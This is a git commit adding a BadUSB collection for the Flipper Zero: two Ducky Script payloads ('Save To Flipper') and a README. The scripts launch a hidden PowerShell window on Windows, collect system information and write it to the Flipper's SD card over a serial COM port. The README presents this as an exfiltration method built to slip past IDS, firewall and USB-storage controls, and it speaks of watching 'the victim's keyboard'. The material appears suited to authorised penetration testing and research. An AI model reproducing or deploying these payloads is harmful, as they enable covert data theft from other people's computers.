Added emptythevoid's BadUSB collection

2026-09-18 20:21:30 +00:00 · 2024-09-06 13:27:37 -07:00
parent 70856507e4
commit 24f5187975
56 changed files with 6279 additions and 0 deletions
@@ -0,0 +1,73 @@
+REM Title: Save To Flipper
+REM Author: emptythevoid and LupusE
+REM Target: Windows 10, Windows 11
+REM Version: 1.1
+REM Category: PoC
+
+REM The Device IDs (defaults are HID\\VID_046D\&PID_C529  USB\\VID_0483\&PID_5740  )
+REM The Baud rate (default is 230400)
+
+REM Open Powershell
+DELAY 500
+GUI r
+DELAY 500
+
+REM Run Powershell by full path to avoid Windows Terminal. Launch hidden.
+STRING %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -w h
+
+DELAY 500
+ENTER
+DELAY 750
+
+REM Once payload is deployed and the Flipper is backed out to normal mode, the script will determine which COM port the Flipper is plugged in to by searching for the USB ID. It will then write the output (string) of the executed command to the specified path and file on the Flipper's SD card.
+
+REM ## Command to execute/data to exfiltrate. Don't forget cast to string. 
+ALTSTRING $d=(Get-ComputerInfo|Out-String);
+
+REM ## The VendorID and ProductID to Match. If you'd change the BadUSB IDs in the BadKB app or in this script, you need to change these values to match. Otherwise Powershell won't detect the Flipper when it returns to normal mode.
+ALTSTRING $BHID="HID\\VID_046D\&PID_C529";
+ALTSTRING $SUSB="USB\\VID_0483\&PID_5740";
+
+REM ## The path on the Flipper's SD card to store the exfliltrated data
+ALTSTRING $SPATH="/ext/apps_data/exfil_data"
+ENTER
+
+REM ## Perform 600 loops, to check if BadUSB is still active, wait 1 sec. If the Flipper is just disconnected, the loop will wait 4 sec.
+
+ALTSTRING 1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(((Get-PNPDevice -PresentOnly|Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"}) -split "COM")[1][0])",230400,'None',8,'one');$p.open();$p.Write("storage write $SPATH `r`n");$p.Write($d);$p.Write("$([char] 3)");$p.Close();exit}Catch{Sleep 1}}
+
+ENTER
+
+REM Flash Capslock to indicate when to back out of BadUSB mode
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+
@@ -0,0 +1,73 @@
+REM Title: Save To Flipper (no altstring)
+REM Author: emptythevoid and LupusE
+REM Target: Windows 10, Windows 11
+REM Version: 1.1
+REM Category: PoC
+
+REM The Device IDs (defaults are HID\\VID_046D\&PID_C529  USB\\VID_0483\&PID_5740  )
+REM The Baud rate (default is 230400)
+
+REM Open Powershell
+DELAY 500
+GUI r
+DELAY 500
+
+REM Run Powershell by full path to avoid Windows Terminal. Launch hidden.
+STRING %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -w h
+
+DELAY 500
+ENTER
+DELAY 750
+
+REM Once payload is deployed and the Flipper is backed out to normal mode, the script will determine which COM port the Flipper is plugged in to by searching for the USB ID. It will then write the output (string) of the executed command to the specified path and file on the Flipper's SD card.
+
+REM ## Command to execute/data to exfiltrate. Don't forget cast to string. 
+STRING $d=(Get-ComputerInfo|Out-String);
+
+REM ## The VendorID and ProductID to Match. If you'd change the BadUSB IDs in the BadKB app or in this script, you need to change these values to match. Otherwise Powershell won't detect the Flipper when it returns to normal mode.
+STRING $BHID="HID\\VID_046D\&PID_C529";
+STRING $SUSB="USB\\VID_0483\&PID_5740";
+
+REM ## The path on the Flipper's SD card to store the exfliltrated data
+STRING $SPATH="/ext/apps_data/exfil_data"
+ENTER
+
+REM ## Perform 600 loops, to check if BadUSB is still active, wait 1 sec. If the Flipper is just disconnected, the loop will wait 4 sec.
+
+STRING 1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(((Get-PNPDevice -PresentOnly|Where{$_.InstanceID -match $SUSB -and $_.Class -eq "Ports"}) -split "COM")[1][0])",230400,'None',8,'one');$p.open();$p.Write("storage write $SPATH `r`n");$p.Write($d);$p.Write("$([char] 3)");$p.Close();exit}Catch{Sleep 1}}
+
+ENTER
+
+REM Flash Capslock to indicate when to back out of BadUSB mode
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+DELAY 100
+CAPSLOCK
+
@@ -0,0 +1,49 @@
+# Save data from your BadUSB scripts directly to the Flipper's SD Card!
+
+Inspired by this thread: https://forum.flipperzero.one/t/anyway-to-save-files-back-to-the-flipper-using-badusb/2372
+
+Credit: Major credit to @LupusE for taking my original proof-of-concept, running with it, and making a proper example payload!
+
+Changes since original proof-of-concept:
+
+- Increased baud rate from 115200 to 230400 (thanks for the suggestion Caribou!)
+
+- Add capslock flashing to indicate when it's time to exit BadUSB mode
+
+- Starts powershell hidden by default
+
+- Bypasses Windows Terminal and invokes powershell directly
+
+- Fast STRING and slower (but more compatible) ALTSTRING versions
+
+Targets Windows 10, 11
+
+BadUSB script that uses inline Powershell to enumerate which COM port the Flipper is connected to,
+and then use Powershell's serial module to interface with Flipper's CLI and write text data to a specified file in Flipper's SD Card. It will automatically detect when the Flipper has exited BadUSB mode before writing the data to the SD card.
+
+## What makes this method unique?
+There are plenty of examples of using Ducky Script to exfiltrate data. Exfiltration by webhook/discord can be detected/blocked by IDS and firewall rules. Exfiltration by copying data to a USB flash drive (mass storage driver) can be thwarted by rules disallowing access to USB mass storage devices.  The "Save to Flipper" POC makes use of Windows' COM ports and the Powershell serial module.  This traffic is much more problematic to block, as many legitimate things can use the COM ports, and it is not affected by blocking access to mass storage devices. Further, you can tweak the device ID to further bypass any restrictions.
+
+## Limitations:
+Using serial to interface to the Flipper's CLI in order to save a file is *slow.*  This is not a huge problem for small amounts of text data, but could be problematic for a larger exfiltration.  
+
+There also appears to be some kind of buffer size limit that will cause the exfiltrated data to fail to save. This is being investigated.
+
+## Usage:
+Attach Flipper to computer by USB cable and run the BadUSB script.  Watch the victim's keyboard for the caps lock light to blink a few times. Once it stops blinking, hit Back enough times to get to the Flipper application list (otherwise it won't save the data) and wait a moment and then remove the Flipper. (how long you need to wait depends on how large an exfil you're doing - it's slow)
+
+## Variables:
+$d is the command who's output you want to exfiltrate to the Flipper's storage. Make sure to include |Out-String  as the last part of the command.
+
+$BHID and $BPID allow you to specify the Device ID parameters of your Flipper.
+
+$SPATH is the location on the SD card to store your exfiltrated data. By default, it saves to /ext/apps_data/exfil_data
+
+## Example
+This example runs the Get-ComputerInfo command and saves it to the Flipper's SD card under /ext/apps_data/exfil_data
+
+## Note about early disconnection
+If the Flipper is disconnected from the host computer *while* it is receiving the exfiltrated data, the Flipper may remain stuck with it's serial CLI open, which will cause it to have an error when connecting it to qFlipper. Simply reboot the Flipper to get it working normally again.
+
+## STRING vs ALTSTRING
+There are two versions of this payload. One uses STRING, which is faster but depends on the keyboard layout. ALTSTRING is able to work with different keyboard layouts, but is much slower to deploy